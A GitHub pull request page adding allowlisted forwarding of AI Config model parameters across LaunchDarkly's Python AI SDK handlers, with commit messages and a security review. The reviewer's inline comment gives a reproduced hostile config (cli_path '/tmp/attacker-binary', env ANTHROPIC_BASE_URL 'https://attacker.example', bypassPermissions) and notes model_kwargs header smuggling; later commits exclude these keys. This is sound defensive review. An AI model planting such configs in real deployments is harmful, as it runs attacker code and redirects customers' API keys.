fix: pass AI Config model parameters through to every provider handler by apucacao · Pull Request #107 · launchdarkly/python-ai-sdk

apucacao · 2026-09-24T15:03:20Z

Every time I ask "how would I use the turnkey SDK here?", I hear about how model params aren't currently being passed to models. This PR fixes that.

Not entirely sure about the implementation though: we ended up definiting the list of params supported by each of the underlying SDKs, because I couldn't find a better export from those packages, and iterating on types felt harder than the explicit list. The downside is that if/when things change, we'd need to update the code. But presumably we already need to do that for our model parameter schemas in Gonfalon.

Model parameters set in an AI Config were silently ignored by most handlers. Every handler now passes them through to the provider.

Each handler forwards only an explicit list of model and run settings. Any other key is dropped.
Never forwarded, by any handler: credentials, endpoints and connection settings (base URL, region, headers, timeouts, retries, HTTP clients), raw request bags (extra_*, model_kwargs), remote MCP servers, and the Claude Agent SDK's host-process settings (cli_path, env, cwd, add_dirs, permission_mode, sessions, hooks, callbacks).
invoke and stream forward the same keys.
Configs use snake_case (max_turns, top_p), the providers' own names and what the UI writes.
Every Python provider SDK takes snake_case, so all handlers pass keys through as-is.
The TypeScript SDK converts to camelCase for its agent and LangChain handlers only.

🤖 Generated with Claude Code

Note

Overview
AI Config model.parameters now reach provider calls across Claude Agents/Messages, OpenAI Agents/Messages, and LangChain Agents/Messages (including native graph paths), instead of being ignored or passed through wholesale.

Shared model_parameters() and select_forwarded_parameters() read the config bag and keep only each handler’s explicit allowlist of model/run settings. Handler-owned fields (model, messages, tools, etc.) still win; UI keys the target SDK does not accept are dropped silently (no TypeError). Credentials, endpoints, request injection (extra_*, model_kwargs), remote MCP, and Claude Agent host-process settings are documented as excluded and covered by cross-package NEVER_FORWARDED tests and SDK drift tests on the hand-maintained key lists.

Provider-specific shaping: Claude Messages maps effort → output_config.effort; OpenAI Messages renames max_tokens / max_completion_tokens → max_output_tokens; OpenAI Agents puts tunables in ModelSettings and passes max_turns only to Runner.run / run_streamed; LangChain stops forwarding tools and connection fields into chat model constructors.

^{Reviewed by Cursor Bugbot for commit 175050b. Bugbot is set up for automated code reviews on this repo. Configure here.}

model.parameters is a free-form dict the LaunchDarkly UI writes for provider tuning values, including max_turns for agent turn caps. Every Python handler except claude-messages ignored it entirely, and claude-messages read only max_tokens. In particular there was no way to cap an agent's turns: claude-agents never set ClaudeAgentOptions.max_turns and openai-agents never passed max_turns to Runner.run. Adds a shared launchdarkly_ai_server.model_parameters(config) helper that returns model.parameters as a fresh dict (or {} when absent/not a mapping), and never reads model.custom. Applies it at every provider call site across all six handler packages, including streaming and native-graph paths. Keys are forwarded as-is (snake_case, matching both the UI and every Python provider SDK here); no allowlisting and no case conversion. Handler-owned keys (model, messages/input, system/instructions, tools, etc., decided per call site) are always removed from the forwarded dict before merging with the handler's own kwargs, so a config value can never override what the handler itself sets. claude-messages keeps its max_tokens-defaults-to-1024 behaviour exactly. LangChain's handlers already forwarded model.parameters through a local _model_constructor_kwargs helper; swapped that to use the new shared helper for consistency. Verified: uv run pytest (1332 passed, 11 skipped), uv run mypy packages/*/src, uv run ruff check ., uv run ruff format --check . Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

apucacao · 2026-09-24T15:29:28Z

bugbot run

cursor

Stale Bugbot comment from a previous run.

…ccepts model.parameters is a free-form dict the LaunchDarkly UI writes, offering keys that make sense across providers but that no single provider SDK accepts in full. Forwarding it unfiltered (added in a prior commit on this branch) raised TypeError before any request for several real configs: ClaudeAgentOptions has no temperature/top_p/top_k/max_tokens/ stop_sequences/tool_choice/metadata; the OpenAI Responses API has no max_tokens/frequency_penalty/presence_penalty/seed/n/stop/response_format/ logit_bias/logprobs/max_completion_tokens/audio/modalities/prediction; Anthropic's Messages API has no top-level effort. Adds launchdarkly_ai_server.parameter_forwarding, a shared filter used by every handler: accept-sets are derived once from the live provider type (inspect.signature for plain methods, dataclasses.fields for ClaudeAgentOptions/ModelSettings, pydantic model_fields + aliases for the LangChain chat models), never hand-listed, so an SDK's own drift is picked up automatically. transport/escape-hatch keys (extra_headers, extra_query, extra_body, timeout, extra_*) are stripped unconditionally regardless of what a signature accepts, and each call site may additionally exclude keys the API accepts but that would break the handler because the handler itself already decides that behaviour: stream/stream_options/background/ conversation/prompt for the OpenAI Responses API, stream for Anthropic Messages. Everything else the provider accepts is forwarded, including keys that are not strictly generation settings (store, user, safety_identifier, prompt_cache_key, prompt_cache_retention, include, context_management, metadata, service_tier, instructions, moderation). Two renames, applied before the accept filter: openai-messages maps max_tokens/max_completion_tokens to the Responses API's max_output_tokens (explicit max_output_tokens wins, then max_completion_tokens, then max_tokens); claude-messages maps a top-level effort into output_config.effort, unless the config already sets its own output_config.effort, which wins. Applied at every call site across all six handlers, including streaming and native-graph paths. claude-agents/openai-agents dataclass accept-sets are computed once at module load from the real SDK types, independent of each package's per-call importlib.import_module mocking in tests. LangChain's per-provider pydantic accept-sets are cached per class with functools.cache, since the constructor class is only known once a provider branch resolves langchain_openai/_anthropic/_aws. Updated the existing tests whose old assertions relied on unfiltered pass-through of a key the real SDK does not accept (tools forwarded to ChatOpenAI's constructor in two langchain-agents/messages tests) to give the mocked provider class an accurate model_fields shape and to reflect the value now being dropped. Verified: uv run pytest (1383 passed, 11 skipped), uv run mypy packages/*/src, uv run ruff check ., uv run ruff format --check .. uv.lock unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

apucacao · 2026-09-24T16:19:42Z

bugbot run

cursor

Stale Bugbot comment from a previous run.

…warded-key lists Every handler decided which model.parameters keys to forward by introspecting the live provider SDK at runtime: inspect.signature for the two Anthropic/OpenAI methods, dataclasses.fields for ClaudeAgentOptions/ModelSettings, pydantic model_fields plus aliases for the three LangChain chat models. Every competitor SDK (LiteLLM, Vercel AI SDK, Braintrust, LangChain) and this SDK's own TypeScript port use a written-down list instead, so replaces the derivation with one: each handler now carries a literal frozenset of the keys it forwards, generated once from the same introspection and pasted in as a reviewable list, next to its existing handler-owned and excluded sets. Deletes accepted_parameter_keys_from_signature/_from_dataclass/_from_pydantic_model, _alias_strings, is_transport_parameter, strip_transport_parameters, and filter_forwardable_parameters from packages/client's parameter_forwarding module now that nothing calls them. In their place, select_forwarded_parameters(params, keys) is the one shared piece left: keep the params keys that are on a handler's own forwarded list, drop everything else. Reproduces every handler's existing forwarded/owned/excluded classification exactly, with one deliberate addition applied consistently: client/connection configuration (API keys, base URLs, organization ids, HTTP clients, default headers/query, proxies, timeouts, retry counts) is now always excluded, even when a provider's own accept-set would otherwise let it through. This newly excludes, per handler: - langchain-messages / langchain-agents (ChatOpenAI): api_key, openai_api_key, base_url, openai_api_base, organization, openai_organization, openai_proxy, client, async_client, root_client, root_async_client, http_client, http_async_client, http_socket_options, default_headers, default_query, max_retries, request_timeout - langchain-messages / langchain-agents (ChatAnthropic): anthropic_api_key, api_key, anthropic_api_url, base_url, anthropic_proxy, default_request_timeout, max_retries, default_headers - langchain-messages / langchain-agents (ChatBedrockConverse, opt-in dependency): bedrock_api_key, api_key, aws_access_key_id, aws_secret_access_key, aws_session_token, credentials_profile_name, endpoint_url, base_url, client, bedrock_client, config, default_headers, max_retries - openai-agents (ModelSettings): retry timeout/extra_headers/extra_query/extra_body/extra_args were already excluded by the prior transport-prefix rule on every handler that has them; they are now named explicitly in each handler's own excluded set instead of matched by a shared prefix check, since nothing here is derived at runtime any more. Adds one drift test per handler package (test_parameter_forwarding.py) that reads the real provider SDK's signature/dataclass/model_fields and asserts every parameter it accepts is classified in exactly one of forwarded, handler-owned, or excluded, so an SDK addition nobody has classified fails loudly by name, and so does a stale list entry. The LangChain ChatBedrockConverse test skips itself when langchain-aws (an opt-in dependency) is not installed, matching this package's existing Bedrock test pattern. Updates langchain-messages' TestModelParametersReachTheWire test, which relied on forwarding http_async_client/api_key through model.parameters to mock the outgoing HTTP call: it now intercepts ChatOpenAI's own default httpx client builder instead, so the mock transport is reached without any config value ever naming an HTTP client or a key. Adds TestConnectionConfigIsNeverForwarded to both langchain-messages and langchain-agents, asserting api_key/base_url from model.parameters never reach the ChatOpenAI/ChatAnthropic constructor kwargs. Verified: uv run --frozen pytest (1385 passed, 15 skipped), uv run --frozen mypy packages/*/src, uv run --frozen ruff check ., uv run --frozen ruff format --check ., uv.lock unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

apucacao · 2026-09-24T18:28:26Z

bugbot run

cursor

Stale Bugbot comment from a previous run.

…eters They are the same constructor field as `model`, under its field name or its alias. The handler always sets `model` itself, so a config value for either collided with the resolved model name or overrode it. Classify both as handler-owned per model class, and have the drift tests read that set from the handler instead of a test-local copy. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

apucacao · 2026-09-24T18:34:07Z

bugbot run

cursor

Stale Bugbot comment from a previous run.

jeffdupont

Reviewed against the 1.0 GA plan. The fix is needed: parameters set in an AI Config were being ignored, and that should be fixed before 1.0. Tests pass at d51199d (make test: 1391 passed, 15 skipped, exit 0). The branch merges cleanly onto current main (fee904a), and the merged tree passes too: 1491 passed, make typecheck clean.

Four things I think need settling before merge, because each one changes the public interface and can't be changed after 1.0:

Claude Agents forwards host-process settings, not just model settings. A config can set cli_path, env, cwd, add_dirs, permission_mode, settings, setting_sources, plugins and sandbox. I reproduced it: a config with cli_path: /tmp/attacker-binary makes the SDK launch that file as its agent process (claude_agent_sdk/_internal/transport/subprocess_cli.py:225), and env: {ANTHROPIC_BASE_URL: ...} points the customer's API key at another host (:434). That turns "can edit an AI Config" into "can run code on the customer's server." Inline comment below.
Two LangChain keys get around the exclusion list. model_kwargs carries extra_headers / extra_query into the ChatOpenAI request payload (reproduced with _get_request_payload), though both are listed as excluded. mcp_servers (ChatAnthropic) would let a config attach a remote MCP server; I haven't tested that one.
Two new public names. model_parameters and select_forwarded_parameters are in the root __all__, but only the provider packages use them. Same point as on #121 with make_graph_track_data: they belong in the internal group, or the 1.0 surface trim has to remove them again.
Python and JS don't match (js #73). The two messages handlers agree. In the agent and LangChain handlers, JS forwards the whole camelCased bag with no allowlist, so api_key becomes apiKey, which ChatOpenAI and ChatAnthropic use. I'll leave a note there too. The monorepo has no spec for forwarding these parameters, and open monorepo #10 says "do not rename or filter parameter keys," which contradicts both PRs. One spec in TESTING.md would settle it for both languages.

Smaller points, not blocking:

output_format (Claude Messages) and response_id / starting_after / text_format (OpenAI) are forwarded on stream but not invoke, so one config can behave differently depending on the call.
OpenAI Responses forwards reasoning but not reasoning_effort. If the UI writes reasoning_effort, it's dropped silently, as effort was before your rename. I haven't checked what the UI writes.
The loops that remove handler-owned keys never find anything, since those keys aren't on the forwarded lists. They're harmless, just dead code.
In native graphs only the root node's max_turns is used.

Removing _HAS_ANTHROPIC is fine; nothing on main reads it.

jeffdupont · 2026-10-02T17:25:41Z

+        "agents",
+        "betas",
+        "can_use_tool",
+        "cli_path",


These are settings for the host process, not for the model. Reproduced at d51199d: with model.parameters set to {cli_path: "/tmp/attacker-binary", env: {ANTHROPIC_BASE_URL: "https://attacker.example"}, permission_mode: "bypassPermissions", add_dirs: ["/"]}, _build_query_options passes all of them through, and SubprocessCLITransport._build_command()[0] is /tmp/attacker-binary.

I'd suggest keeping only model and run settings here (max_turns, max_thinking_tokens, thinking, effort, max_budget_usd, fallback_model, output_format, betas) and moving cli_path, env, cwd, add_dirs, permission_mode, settings, setting_sources, plugins, sandbox, resume, session_id, fork_session, continue_conversation and the callable / object fields (can_use_tool, stderr, session_store, ...) to excluded. A test like the one above, run against the excluded list, would keep it that way.

jeffdupont · 2026-10-02T17:25:41Z

+        "max_completion_tokens",
+        "max_tokens",
+        "metadata",
+        "model_kwargs",


model_kwargs is passed straight into the request, so it can carry keys this file excludes. Reproduced: model_kwargs: {extra_headers: {...}, extra_query: {...}} shows up as extra_headers / extra_query in ChatOpenAI._get_request_payload(...). I'd exclude model_kwargs here and in the ChatAnthropic list (line 173), and the same in langchain-messages.

jeffdupont · 2026-10-02T17:25:41Z

+        "inference_geo",
+        "max_tokens",
+        "max_tokens_to_sample",
+        "mcp_servers",


mcp_servers on ChatAnthropic would let a config attach a remote MCP server, which would then receive the conversation. I haven't tested this one, but I think it belongs with the excluded keys. Bedrock region_name (line 248) is a similar question: it lets a config move the region, which affects where data is processed.

jeffdupont · 2026-10-02T17:25:41Z

    "Scorer",
    "init_evaluations",
+    # parameter_forwarding
+    "select_forwarded_parameters",


Only the provider packages call this and model_parameters (line 204). Can they stay out of __all__? Same as make_graph_track_data on #121: anything exported here is frozen at 1.0, or has to be removed again in the surface trim.

jeffdupont · 2026-10-02T17:25:41Z

+
+#: Same as :data:`_MESSAGES_CREATE_FORWARDED_KEYS`, plus ``output_format``: ``.stream`` accepts it,
+#: ``.create`` does not.
+_MESSAGES_STREAM_FORWARDED_KEYS = _MESSAGES_CREATE_FORWARDED_KEYS | {"output_format"}


Minor: a config with output_format gets it on stream() but not invoke(), so the same config behaves differently depending on the call. Probably clearer to drop it on both, or document the difference.

…parameters

apucacao · 2026-10-02T20:45:26Z

bugbot run

cursor

Stale Bugbot comment from a previous run.

…d_parameters from the package root Only the provider packages in this repo use these helpers, and anything in __all__ becomes public API at 1.0. Callers now import them from the modules that define them: launchdarkly_ai_server.utils and launchdarkly_ai_server.parameter_forwarding.

apucacao · 2026-10-05T14:14:13Z

bugbot run

cursor

Stale Bugbot comment from a previous run.

…rameters ClaudeAgentOptions also configures the host process the SDK launches: which binary runs, its environment, working directory, file access, permission mode, settings, plugins, sandbox, and session state. Forwarding those from a config let anyone who can edit an AI Config launch their own binary or point the API key at another host. The forwarded list is now max_turns, max_thinking_tokens, thinking, effort, max_budget_usd, fallback_model, output_format and betas. Every other field is excluded, with the reason next to it. The loops that popped handler-owned keys are removed: none of those keys is on the forwarded list, so the filter already drops them.

model_kwargs is merged straight into the request payload, so it carried extra_headers and extra_query past the exclusions. mcp_servers let a config attach a remote MCP server that then receives the conversation. region_name and inference_geo move where data is processed. Bedrock's additional_model_request_fields is another unfiltered request bag. All of those are now excluded, along with LangChain's own runtime fields (callbacks, cache, tags, metadata, streaming mode, message format, ...), which configure how LangChain runs in this process rather than the request. _model_constructor_kwargs now requires its forwarded list, and the dead pop of tools for Bedrock is removed.

output_format is only accepted by messages.stream, so a config with it behaved differently depending on the call. It is now dropped on both paths; output_config, which both accept, carries the output format. One forwarded list now serves both calls. inference_geo is excluded too: it sets the region inference runs in. The loops that popped handler-owned keys are removed, since none of those keys is on the forwarded list.

response_id, starting_after and text_format are only accepted by responses.stream. The first two resume an existing response and the third names a Python type to parse into, so none of them is a setting a config should carry. They are now dropped on both paths, and one forwarded list serves both calls. The UI writes reasoning effort as reasoning.effort, the Responses API's own shape, so reasoning is forwarded as-is and no reasoning_effort mapping is needed. The loops that popped handler-owned keys are removed, since none of those keys is on the forwarded list.

max_turns is not a ModelSettings field, so the forwarded-keys filter already drops it. The native graph now says why only the root node's max_turns applies: the whole graph is one Runner.run, and the Agents SDK has no per-agent turn limit.

…ed keys One test over all six packages asserts that no forwarded list holds a credential, endpoint, request-injection, remote-tool or host-process key, and that every forwarded list in each handler module is covered. The client docstrings now say what a forwarded list may hold.

container (Claude Messages) and reuse_last_container (ChatAnthropic) carry server-side container state over from another request, and user_profile_id attributes the request to another party. None of them is a model setting, so they move to the excluded lists.

…arded bag extra_body is not a ClaudeAgentOptions field, so asserting it was dropped proved nothing. The handler test now sends every never-forwarded key through query and checks none reaches the options. provider_data joins the shared list, since in newer Agents SDK releases it carries raw request overrides.

…parameters # Conflicts: # packages/openai-agents/tests/test_native_graph.py

apucacao · 2026-10-05T23:10:35Z

bugbot run

cursor

✅ Bugbot reviewed your changes and found no new issues!

Comment @cursor review or bugbot run to trigger another review on this PR

^{Reviewed by Cursor Bugbot for commit 175050b. Configure here.}

apucacao mentioned this pull request Sep 24, 2026

fix: pass AI Config model parameters through to every provider handler launchdarkly/js-ai-sdk#73

Open

apucacao changed the title ~~fix(client): forward model.parameters to every provider handler~~ fix: pass AI Config model parameters through to every provider handler Sep 24, 2026

cursor Bot reviewed Sep 24, 2026

View reviewed changes

Comment thread packages/claude-agents/src/launchdarkly_ai_claude_agents/handler.py

Comment thread packages/openai-messages/src/launchdarkly_ai_openai_messages/handler.py

cursor Bot reviewed Sep 24, 2026

View reviewed changes

Comment thread packages/langchain-agents/src/launchdarkly_ai_langchain_agents/handler.py Outdated

cursor Bot reviewed Sep 24, 2026

View reviewed changes

apucacao marked this pull request as ready for review September 25, 2026 14:48

apucacao requested review from andrewklatzke and jeffdupont September 25, 2026 19:08

jeffdupont reviewed Oct 2, 2026

View reviewed changes

This was referenced Oct 2, 2026

feat(AIC-3408): add Vercel AI SDK messages and agents adapters #103

Open

feat: add LiteLLM messages and agents integrations #102

Open

Merge remote-tracking branch 'origin/main' into alexis/forward-model-…

8144a3d

…parameters

cursor Bot reviewed Oct 2, 2026

View reviewed changes

Comment thread packages/claude-agents/src/launchdarkly_ai_claude_agents/handler.py

Comment thread packages/langchain-agents/src/launchdarkly_ai_langchain_agents/handler.py Outdated

Comment thread packages/langchain-agents/src/launchdarkly_ai_langchain_agents/handler.py Outdated

cursor Bot reviewed Oct 5, 2026

View reviewed changes

jeffdupont mentioned this pull request Oct 5, 2026

fix(client): count only served skills in the get_skills withholding warning #137

Merged

apucacao added 3 commits October 5, 2026 18:48

apucacao added 6 commits October 5, 2026 18:48

Merge remote-tracking branch 'origin/main' into alexis/forward-model-…

175050b

…parameters # Conflicts: # packages/openai-agents/tests/test_native_graph.py

cursor Bot reviewed Oct 5, 2026

View reviewed changes

Conversation

apucacao commented Sep 24, 2026 • edited by cursor Bot Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

apucacao commented Sep 24, 2026

Uh oh!

cursor Bot left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

apucacao commented Sep 24, 2026

Uh oh!

cursor Bot left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

apucacao commented Sep 24, 2026

Uh oh!

cursor Bot left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

apucacao commented Sep 24, 2026

Uh oh!

cursor Bot left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

jeffdupont left a comment

Choose a reason for hiding this comment

Uh oh!

jeffdupont Oct 2, 2026

Choose a reason for hiding this comment

Uh oh!

jeffdupont Oct 2, 2026

Choose a reason for hiding this comment

Uh oh!

jeffdupont Oct 2, 2026

Choose a reason for hiding this comment

Uh oh!

jeffdupont Oct 2, 2026

Choose a reason for hiding this comment

Uh oh!

jeffdupont Oct 2, 2026

Choose a reason for hiding this comment

Uh oh!

apucacao commented Oct 2, 2026

Uh oh!

cursor Bot left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Uh oh!

apucacao commented Oct 5, 2026

Uh oh!

cursor Bot left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

apucacao commented Oct 5, 2026

Uh oh!

cursor Bot left a comment

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

apucacao commented Sep 24, 2026 •

edited by cursor Bot

Loading

cursor Bot left a comment •

edited

Loading

cursor Bot left a comment •

edited

Loading

cursor Bot left a comment •

edited

Loading

cursor Bot left a comment •

edited

Loading

cursor Bot left a comment •

edited

Loading

cursor Bot left a comment •

edited

Loading